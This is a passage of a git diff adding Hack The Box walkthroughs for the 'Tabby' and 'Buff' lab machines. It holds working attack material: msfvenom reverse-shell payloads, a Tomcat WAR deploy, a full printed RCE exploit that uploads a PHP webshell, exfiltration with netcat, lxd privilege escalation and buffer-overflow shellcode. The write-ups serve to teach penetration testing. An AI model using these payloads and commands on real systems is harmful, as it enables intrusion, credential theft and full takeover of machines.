everywhere else). Listen for a connection + java/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager + java/shell_reverse_tcp Connect back to attacker and spawn a command shell + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.13 LPORT=9001 -f war > thanksippsec.war + Payload size: 1096 bytes + Final size of war file: 1096 bytes + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → file thanksippsec.war + thanksippsec.war: Zip archive data, at least v2.0 to extract + + + +Now that we created our war file, let's upload it and deploy it: + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → nc -lvnp 9001 + listening on [any] 9001 ... + + +Now the trick here is that unlike on the Kotarak box, here we only have access to the commandline's **/manager/text** so we're going to upload our war file and deploy it through the commandline thanks to curl: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → curl -u tomcat:\$3cureP4s5w0rd123! http://10.10.10.194:8080/manager/text/deploy\?path\=/webshell\&update;\=true -T thanksippsec.war + OK - Deployed application at context path [/webshell] + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → curl -u tomcat:\$3cureP4s5w0rd123! http://10.10.10.194:8080/webshell/ + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.194] 34800 + id + uid=997(tomcat) gid=997(tomcat) groups=997(tomcat) + + + +And we got a reverse shell connection! We are now able to execute commands as the tomcat user. Let's first upgrade our shell to a fully interactive TTY: + + + # check which commands we can use + + which python python3 curl wget bash + /usr/bin/python3 + /usr/bin/curl + /usr/bin/wget + /usr/bin/bash + + # spawn a TTY with python3's pty module + + python3 -c 'import pty; pty.spawn("/bin/bash")' + tomcat@tabby:/var/lib/tomcat9$ + + # CTRL Z to background the reverse shell netcat process + + tomcat@tabby:/var/lib/tomcat9$ ^Z + [1] + 22233 suspended nc -lvnp 9001 + + # set the stty as raw with the -echo flags, then foreground the process + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Tabby] + → stty raw -echo ; fg + [1] + 22233 continued nc -lvnp 9001 + + # export the TERM and SHELL environment variables, and set the TTY right (for nano /vim stuff) + + export TERM=screen-256color + tomcat@tabby:/var/lib/tomcat9$ export SHELL=bash + tomcat@tabby:/var/lib/tomcat9$ stty rows 40 columns 200 + tomcat@tabby:/var/lib/tomcat9$ reset + + # and once the terminal has resetted, we are now in a fully interactive reverse shell! + + tomcat@tabby:/var/lib/tomcat9$ id + uid=997(tomcat) gid=997(tomcat) groups=997(tomcat) + + + +Now from here we can upload linpeas.sh to enumerate the box: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → locate linpeas.sh + /home/nothing/HTB/Admirer/linpeas.sh + /home/nothing/HTB/OpenAdmin/linpeas.sh + /home/nothing/HTB/Postman/linpeas.sh + /home/nothing/HTB/Traverxec/linpeas.sh + /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + tomcat@tabby:/var/lib/tomcat9$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-02 08:01:09-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[=============================================================================================================>] 333.85K 699KB/s in 0.5s + + 2021-06-02 08:01:10 (699 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + tomcat@tabby:/var/lib/tomcat9$ chmod +x /tmp/peas.sh + + tomcat@tabby:/var/lib/tomcat9$ /tmp/peas.sh + + + +` ![](prg/48_007.png) + +Let linpeas.sh run, then as you scroll down you will end up on a certain backup zip file: + +![](prg/48_008.png) + +Coincidentally, it seems that the backup zip file is owned by the ash user, and there seems to be a copy of it in the /tmp folder, let's check if they are the same: + + + tomcat@tabby:/var/lib/tomcat9$ md5sum /var/www/html/files/16162020_backup.zip /tmp/16162020_backup.zip + f0a0af346ad4495cfdb01bd5173b0a52 /var/www/html/files/16162020_backup.zip + f0a0af346ad4495cfdb01bd5173b0a52 /tmp/16162020_backup.zip + + + +And indeed they are the same! let's open it locally and see what it contains, we can use netcat to get the zipfile from the box: + + + + tomcat@tabby:/tmp$ md5sum 16162020_backup.zip + f0a0af346ad4495cfdb01bd5173b0a52 16162020_backup.zip + + tomcat@tabby:/var/lib/tomcat9$ which nc + /usr/bin/nc + + tomcat@tabby:/tmp$ cat 16162020_backup.zip | nc 10.10.14.13 9002 + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → nc -lvnp 9002 > backup.zip + listening on [any] 9002 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.194] 57326 + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → md5sum backup.zip + f0a0af346ad4495cfdb01bd5173b0a52 backup.zip + + + +And here we see that the 2 files hashes are identical, this means that we successfully transfered the file back onto our local machine. Let's try to unzip it: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → unzip backup.zip + Archive: backup.zip + creating: var/www/html/assets/ + [backup.zip] var/www/html/favicon.ico password: + password incorrect--reenter: + password incorrect--reenter: + skipping: var/www/html/favicon.ico incorrect password + creating: var/www/html/files/ + [backup.zip] var/www/html/index.php password: + + + +But it's password protected, so let's try to crack it using fcrackzip: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → sudo apt install fcrackzip + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → fcrackzip -vuDp /usr/share/wordlists/rockyou.txt backup.zip + 'var/www/html/assets/' is not encrypted, skipping + found file 'var/www/html/favicon.ico', (size cp/uc 338/ 766, flags 9, chk 7db5) + 'var/www/html/files/' is not encrypted, skipping + found file 'var/www/html/index.php', (size cp/uc 3255/ 14793, flags 9, chk 5935) + found file 'var/www/html/logo.png', (size cp/uc 2906/ 2894, flags 9, chk 5d46) + found file 'var/www/html/news.php', (size cp/uc 114/ 123, flags 9, chk 5a7a) + found file 'var/www/html/Readme.txt', (size cp/uc 805/ 1574, flags 9, chk 6a8b) + checking pw arizon1 + + PASSWORD FOUND!!!!: pw == admin@it + + + +And we found the password! so let's unzip it: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → unzip backup.zip + Archive: backup.zip + [backup.zip] var/www/html/favicon.ico password: + inflating: var/www/html/favicon.ico + inflating: var/www/html/index.php + extracting: var/www/html/logo.png + inflating: var/www/html/news.php + inflating: var/www/html/Readme.txt + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → tree var + var + └── www + └── html + ├── assets + ├── favicon.ico + ├── files + ├── index.php + ├── logo.png + ├── news.php + └── Readme.txt + + 4 directories, 5 files + + + +The files that were contained are preety much irrelevant, the fact of the matter is that this zip file is supposed to be owned by ash, and we got his potential password. Let's try and see if ash re-used the same password on the box: + + + tomcat@tabby:/tmp$ su ash + Password: + ash@tabby:/tmp$ id + uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd) + ash@tabby:/tmp$ cat ~/user.txt + 04XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to privesc to the ash user, and got the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc we can run linpeas once again: + + + ash@tabby:/tmp$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas2.sh + --2021-06-02 08:19:11-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas2.sh’ + + /tmp/peas2.sh 100%[=============================================================================================================>] 333.85K 689KB/s in 0.5s + + 2021-06-02 08:19:12 (689 KB/s) - ‘/tmp/peas2.sh’ saved [341863/341863] + + ash@tabby:/tmp$ chmod +x /tmp/peas2.sh + ash@tabby:/tmp$ /tmp/peas2.sh + + + +The difference being that now linpeas is going to try and find the possible paths from the ash user: + +![](prg/48_009.png) + +Now here we see that the ash user is part of the lxd group, which can be exploited to get a root shell thanks to a lxd-alpine container: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → git clone https://github.com/saghul/lxd-alpine-builder.git + Cloning into 'lxd-alpine-builder'... + remote: Enumerating objects: 35, done. + remote: Counting objects: 100% (8/8), done. + remote: Compressing objects: 100% (8/8), done. + remote: Total 35 (delta 2), reused 2 (delta 0), pack-reused 27 + Receiving objects: 100% (35/35), 21.69 KiB | 1.20 MiB/s, done. + Resolving deltas: 100% (8/8), done. + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Tabby] + → cd lxd-alpine-builder + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Tabby/lxd-alpine-builder] + → sudo ./build-alpine + + [...] + + Executing busybox-initscripts-3.2-r2.post-install + (16/20) Installing scanelf (1.2.8-r0) + (17/20) Installing musl-utils (1.2.2-r0) + (18/20) Installing libc-utils (0.7.2-r3) + (19/20) Installing alpine-keys (2.2-r0) + (20/20) Installing alpine-base (3.13.5-r0) + Executing busybox-1.32.1-r6.trigger + OK: 9 MiB in 20 packages + + + +Now let's transfer the built tar.gz image onto the box: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Tabby/lxd-alpine-builder] + → ls -lash alpine-v3.13-x86_64-20210602_1002.tar.gz + 3.2M -rw-r--r-- 1 root root 3.2M Jun 2 10:02 alpine-v3.13-x86_64-20210602_1002.tar.gz + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Tabby/lxd-alpine-builder] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + ash@tabby:/tmp$ wget http://10.10.14.13:9090/alpine-v3.13-x86_64-20210602_1002.tar.gz + --2021-06-02 08:24:46-- http://10.10.14.13:9090/alpine-v3.13-x86_64-20210602_1002.tar.gz + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 3256211 (3.1M) [application/gzip] + Saving to: ‘alpine-v3.13-x86_64-20210602_1002.tar.gz’ + + alpine-v3.13-x86_64-20210602_1002.tar.gz 100%[=============================================================================================================>] 3.10M 570KB/s in 5.5s + + 2021-06-02 08:24:51 (582 KB/s) - ‘alpine-v3.13-x86_64-20210602_1002.tar.gz’ saved [3256211/3256211] + + + +Say no to all prompts: + + + ash@tabby:/tmp$ lxd init + Would you like to use LXD clustering? (yes/no) [default=no]: no + Do you want to configure a new storage pool? (yes/no) [default=yes]: no + Would you like to connect to a MAAS server? (yes/no) [default=no]: no + Would you like to create a new local network bridge? (yes/no) [default=yes]: no + Would you like to configure LXD to use an existing bridge or host interface? (yes/no) [default=no]: no + Would you like LXD to be available over the network? (yes/no) [default=no]: no + Would you like stale cached images to be updated automatically? (yes/no) [default=yes] no + Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: no + + ash@tabby:/tmp$ mv alpine-v3.13-x86_64-20210602_1002.tar.gz alpine.tar.gz + ash@tabby:/tmp$ lxc image import /tmp/alpine.tar.gz --alias alpine + + ash@tabby:/tmp$ lxc image list + +--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+ + | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | + +--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+ + | alpine | 2d59dc1f8e1c | no | Alpinelinux 3.8 x86_64 (20210601_2225) | x86_64 | CONTAINER | 1.92MB | Jun 1, 2021 at 10:54pm (UTC) | + +--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+ + + + +And once your alpine image got imported, we can launch it to get access to the root files on the server: + + + ash@tabby:/tmp$ lxc init alpine mycontainer -c security.privileged=true + Creating mycontainer + + The instance you are starting doesn't have any network attached to it. + To create a new network, use: lxc network create + To attach a network to an instance, use: lxc network attach + + ash@tabby:/tmp$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true + Device mydevice added to mycontainer + ash@tabby:/tmp$ lxc start mycontainer + ash@tabby:/tmp$ lxc exec mycontainer /bin/sh + + ~ # id + uid=0(root) gid=0(root) + + ~ # cat /mnt/root/root/root.txt + 99XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/48_graph.png) + diff --git a/Easy/49.md b/Easy/49.md new file mode 100644 index 0000000..fa28d68 --- /dev/null +++ b/Easy/49.md @@ -0,0 +1,478 @@ +# Buff Writeup + +![](img/49.png) + +## Introduction : + +Buff is an easy Windows box released back in July 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Buff] + → nmap -vvv -p- 10.10.10.198 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 8080/tcp on 10.10.10.198 + Discovered open port 7680/tcp on 10.10.10.198 + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Buff] + → nmap -sCV -p8080,7680 10.10.10.198 -Pn + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-02 11:19 CEST + Nmap scan report for 10.10.10.198 + Host is up (0.14s latency). + + PORT STATE SERVICE VERSION + 7680/tcp open pando-pub? + 8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) + |_http-open-proxy: Proxy might be redirecting requests + |_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6 + |_http-title: mrb3n's Bro Hut + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 66.01 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 8080 running apache from Windows, so let's check it out: + +![](prg/49_001.png) + +And upon clicking the contact page, we see that we have a Gym Management Software v1.0 instance, so let's see if there are any exploits for us to use: + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Buff] + → searchsploit gym management + --------------------------------------------------------- --------------------------------- + Exploit Title | Path + --------------------------------------------------------- --------------------------------- + Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt + Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt + Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt + Gym Management System 1.0 - Unauthenticated Remote Code | php/webapps/48506.py + --------------------------------------------------------- --------------------------------- + Shellcodes: No Results + + + +Let's use the Unauthenticated RCE python exploit: + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Buff] + → cp $(locate 48506.py ) . + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Buff] + → cat 48506.py + + import requests, sys, urllib, re + from colorama import Fore, Back, Style + requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + + def webshell(SERVER_URL, session): + try: + WEB_SHELL = SERVER_URL+'upload/kamehameha.php' + getdir = {'telepathy': 'echo %CD%'} + r2 = session.get(WEB_SHELL, params=getdir, verify=False) + status = r2.status_code + if status != 200: + print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL + r2.raise_for_status() + print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.') + cwd = re.findall('[CDEF].*', r2.text) + cwd = cwd[0]+"> " + term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET + while True: + thought = raw_input(term) + command = {'telepathy': thought} + r2 = requests.get(WEB_SHELL, params=command, verify=False) + status = r2.status_code + if status != 200: + r2.raise_for_status() + response2 = r2.text + print(response2) + except: + print("\r\nExiting.") + sys.exit(-1) + + def formatHelp(STRING): + return Style.BRIGHT+Fore.RED+STRING+Fore.RESET + + def header(): + BL = Style.BRIGHT+Fore.GREEN + RS = Style.RESET_ALL + FR = Fore.RESET + SIG = BL+' /\\\n'+RS + SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n' + SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n' + SIG += BL+' \/'+RS+'\n' + return SIG + + if __name__ == "__main__": + print header(); + if len(sys.argv) != 2: + print formatHelp("(+) Usage:\t python %s " % sys.argv[0]) + print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0]) + sys.exit(-1) + SERVER_URL = sys.argv[1] + UPLOAD_DIR = 'upload.php?id=kamehameha' + UPLOAD_URL = SERVER_URL + UPLOAD_DIR + s = requests.Session() + s.get(SERVER_URL, verify=False) + PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a' + png = { + 'file': + ( + 'kaio-ken.php.png', + PNG_magicBytes+'\n'+'<****?php echo shell_exec($_GET["telepathy"]); ?>', + 'image/png', + {'Content-Disposition': 'form-data'} + ) + } + fdata = {'pupload': 'upload'} + r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False) + webshell(SERVER_URL, s)% + +Preety trivial to use, we simply need to give it the URL of the website as an arguement: + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Buff] + → python 48506.py http://10.10.10.198:8080/ + /\ + /vvvvvvvvvvvv \--------------------------------------, + `^^^^^^^^^^^^ /============BOKU===================== + \/ + + [+] Successfully connected to webshell. + C:\xampp\htdocs\gym\upload> whoami + �PNG + + buff\shaun + + C:\xampp\htdocs\gym\upload> type C:\users\shaun\desktop\user.txt + �PNG + + b0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we got the user flag! + +## **Part 3 : Getting Root Access** + + + C:\xampp\htdocs\gym\upload> netstat -ano | findstr LISTENING + �PNG + + TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 956 + TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 + TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 5780 + TCP 0.0.0.0:7680 0.0.0.0:0 LISTENING 8608 + TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 4080 + TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 520 + TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1060 + TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1532 + TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2232 + TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 664 + TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 684 + TCP 10.10.10.198:139 0.0.0.0:0 LISTENING 4 + TCP 127.0.0.1:3306 0.0.0.0:0 LISTENING 5496 + TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING 5364 + TCP [::]:135 [::]:0 LISTENING 956 + TCP [::]:445 [::]:0 LISTENING 4 + TCP [::]:7680 [::]:0 LISTENING 8608 + TCP [::]:8080 [::]:0 LISTENING 4080 + TCP [::]:49664 [::]:0 LISTENING 520 + TCP [::]:49665 [::]:0 LISTENING 1060 + TCP [::]:49666 [::]:0 LISTENING 1532 + TCP [::]:49667 [::]:0 LISTENING 2232 + TCP [::]:49668 [::]:0 LISTENING 664 + TCP [::]:49669 [::]:0 LISTENING 684 + + + +Here we see that there's a MySQL instance running on port 3306 and something else on port 8888. This was a hint to a CloudMe Sync service [exploit](https://www.exploit-db.com/exploits/44470): + +Basically the CloudMe Sync software isn't compiled with any protections enabled like ASLR / DEP and is thus vulnerable to buffer overflow attacks, Although we need to access the port and for now it's still only accessible from the host machine's localhost, So we can make use of a tool named [xc](../Tools/xc/index.md) to port forward the vulnerable port 8888 we need: + +Now in order to privesc the box we need to look at the opened ports: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Buff] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASbat/winPEAS.bat . + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Buff] + → sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support . + [sudo] password for nothing: + Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation + + usage: smbserver.py [-h] [-comment COMMENT] [-username USERNAME] [-password PASSWORD] [-hashes LMHASH:NTHASH] [-ts] [-debug] [-ip INTERFACE_ADDRESS] [-port PORT] [-smb2support] shareName sharePath + smbserver.py: error: the following arguments are required: sharePath + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Buff] + → sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support test . + Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation + + [*] Config file parsed + [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 + [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 + [*] Config file parsed + [*] Config file parsed + [*] Config file parsed + + **[*] Incoming connection (10.10.10.198,49758)** + [*] AUTHENTICATE_MESSAGE (BUFF\shaun,BUFF) + [*] User BUFF\shaun authenticated successfully + [*] shaun::BUFF:aaaaaaaaaaaaaaaa:5d8852bb8433b59137009bf40b34891a:0101000000000000007dcc199e57d701d4e99eb4a5f42e7700000000010010005a00530056006d005a00760055006d00030010005a00530056006d005a00760055006d00020010007400660062005a004100750042006100040010007400660062005a00410075004200610007000800007dcc199e57d701060004000200000008003000300000000000000000000000002000009b16b72cf619545bf4c9fc0e0e2180a61bf08182e18b155b2f091defe359fc140a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310033000000000000000000 + [*] Connecting Share(1:IPC$) + [*] Connecting Share(2:test) + + C:\xampp\htdocs\gym\upload> copy \\10.10.14.13\test\xc.exe xc.exe + �PNG + + 1 file(s) copied. + + +Now let's get a reverse xc shell connection: + + + C:\xampp\htdocs\gym\upload> xc.exe 10.10.14.13 9005 + + + [ 10.10.14.13/23 ] [ /dev/pts/75 ] [~/HTB/Buff] + → ./xc -l -p 9005 + + __ _____ + \ \/ / __| + > <****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/06/02 15:16:06 Listening on :9005 + 2021/06/02 15:16:06 Waiting for connections... + 2021/06/02 15:18:28 Connection from 10.10.10.198:49764 + 2021/06/02 15:18:28 Stream established + + [*] Auto-Plugins: + [xc: C:\xampp\htdocs\gym\upload]: !lfwd + Usage: !lfwd <****localport>****remoteaddr> <****remoteport> (opens local port) + + [xc: C:\xampp\htdocs\gym\upload]: !lfwd 8888 127.0.0.1 8888 + [xc: C:\xampp\htdocs\gym\upload]: !lfwd 3306 127.0.0.1 3306 + + [xc: C:\xampp\htdocs\gym\upload]: !lsfwd + Active Port Forwarding: + [0] Listening on 10.10.14.13:8888, Traffic redirect to 10.10.10.198 (127.0.0.1:8888) + [1] Listening on 10.10.14.13:3306, Traffic redirect to 10.10.10.198 (127.0.0.1:3306) + +Here we port forward the port 8888 and 3306 to be accessible from our machine so let's try to login onto mysql: + + + [ 10.10.14.13/23 ] [ /dev/pts/76 ] [~/HTB/Buff] + → ss -lnpt + State Recv-Q Send-Q Local Address:Port Peer Address:Port Process + LISTEN 0 128 0.0.0.0:22 0.0.0.0:* + LISTEN 0 5 127.0.0.1:6600 0.0.0.0:* users:(("mpd",pid=163090,fd=10)) + LISTEN 0 128 [::]:22 [::]:* + LISTEN 0 4096 *:8888 *:* users:(("xc",pid=4058130,fd=8)) + LISTEN 0 50 [::ffff:127.0.0.1]:4701 *:* users:(("java",pid=52048,fd=25)) + LISTEN 0 4096 *:3306 *:* users:(("xc",pid=4058130,fd=9)) + LISTEN 0 4096 *:9005 *:* users:(("xc",pid=4058130,fd=3)) + + + [ 10.10.14.13/23 ] [ /dev/pts/76 ] [~/HTB/Buff] + → nmap -sCV -p 8888,3306 127.0.0.1 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-02 16:25 CEST + Nmap scan report for localhost (127.0.0.1) + Host is up (0.000059s latency). + + PORT STATE SERVICE VERSION + 3306/tcp open tcpwrapped + | mysql-info: + | Protocol: 10 + | Version: 5.5.5-10.4.11-MariaDB + | Thread ID: 58 + | Capabilities flags: 63486 + | Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, FoundRows, InteractiveClient, ConnectWithDatabase, Speaks41ProtocolNew, Speaks41ProtocolOld, SupportsTransactions, ODBCClient, LongColumnFlag, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, SupportsCompression, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults + | Status: Autocommit + | Salt: sq^cT[LKs$RT01C?ScuF + |_ Auth Plugin Name: mysql_native_password + |_ssl-date: ERROR: Script execution failed (use -d to debug) + |_tls-alpn: ERROR: Script execution failed (use -d to debug) + 8888/tcp open mysql MySQL 5.5.5-10.4.11-MariaDB + |_mysql-info: ERROR: Script execution failed (use -d to debug) + |_ssl-date: ERROR: Script execution failed (use -d to debug) + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 21.24 seconds + + [ 10.10.14.13/23 ] [ /dev/pts/81 ] [~] + → mysql -u root -p -h 127.0.0.1 + Enter password: + Welcome to the MariaDB monitor. Commands end with ; or \g. + Your MariaDB connection id is 54 + Server version: 10.4.11-MariaDB mariadb.org binary distribution + + Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + + MariaDB [(none)]> + + + +And here we see that we have been able to get onto mysql as the root user without any password! + +Now that's done, we can generate the payload we want to put into our modified [exploit](https://www.exploit-db.com/exploits/48389) using msfvenom, going from the previous payload **msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python** to the following: + + + [ 10.10.14.13/23 ] [ /dev/pts/78 ] [~/HTB/Buff] + → **msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.13 LPORT=443 -b '\x00\x0A\x0D' -f python -v payload** + [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload + Found 11 compatible encoders + Attempting to encode payload with 1 iterations of x86/shikata_ga_nai + x86/shikata_ga_nai succeeded with size 351 (iteration=0) + x86/shikata_ga_nai chosen with final size 351 + Payload size: 351 bytes + Final size of python file: 1869 bytes + payload = b"" + payload += b"\xba\xcc\x93\xd2\xd9\xdb\xc8\xd9\x74\x24\xf4\x58" + payload += b"\x2b\xc9\xb1\x52\x31\x50\x12\x03\x50\x12\x83\x0c" + payload += b"\x97\x30\x2c\x70\x70\x36\xcf\x88\x81\x57\x59\x6d" + payload += b"\xb0\x57\x3d\xe6\xe3\x67\x35\xaa\x0f\x03\x1b\x5e" + payload += b"\x9b\x61\xb4\x51\x2c\xcf\xe2\x5c\xad\x7c\xd6\xff" + payload += b"\x2d\x7f\x0b\xdf\x0c\xb0\x5e\x1e\x48\xad\x93\x72" + payload += b"\x01\xb9\x06\x62\x26\xf7\x9a\x09\x74\x19\x9b\xee" + payload += b"\xcd\x18\x8a\xa1\x46\x43\x0c\x40\x8a\xff\x05\x5a" + payload += b"\xcf\x3a\xdf\xd1\x3b\xb0\xde\x33\x72\x39\x4c\x7a" + payload += b"\xba\xc8\x8c\xbb\x7d\x33\xfb\xb5\x7d\xce\xfc\x02" + payload += b"\xff\x14\x88\x90\xa7\xdf\x2a\x7c\x59\x33\xac\xf7" + payload += b"\x55\xf8\xba\x5f\x7a\xff\x6f\xd4\x86\x74\x8e\x3a" + payload += b"\x0f\xce\xb5\x9e\x4b\x94\xd4\x87\x31\x7b\xe8\xd7" + payload += b"\x99\x24\x4c\x9c\x34\x30\xfd\xff\x50\xf5\xcc\xff" + payload += b"\xa0\x91\x47\x8c\x92\x3e\xfc\x1a\x9f\xb7\xda\xdd" + payload += b"\xe0\xed\x9b\x71\x1f\x0e\xdc\x58\xe4\x5a\x8c\xf2" + payload += b"\xcd\xe2\x47\x02\xf1\x36\xc7\x52\x5d\xe9\xa8\x02" + payload += b"\x1d\x59\x41\x48\x92\x86\x71\x73\x78\xaf\x18\x8e" + payload += b"\xeb\xda\xd6\x9e\xe6\xb2\xe4\x9e\xf9\xf9\x60\x78" + payload += b"\x93\xed\x24\xd3\x0c\x97\x6c\xaf\xad\x58\xbb\xca" + payload += b"\xee\xd3\x48\x2b\xa0\x13\x24\x3f\x55\xd4\x73\x1d" + payload += b"\xf0\xeb\xa9\x09\x9e\x7e\x36\xc9\xe9\x62\xe1\x9e" + payload += b"\xbe\x55\xf8\x4a\x53\xcf\x52\x68\xae\x89\x9d\x28" + payload += 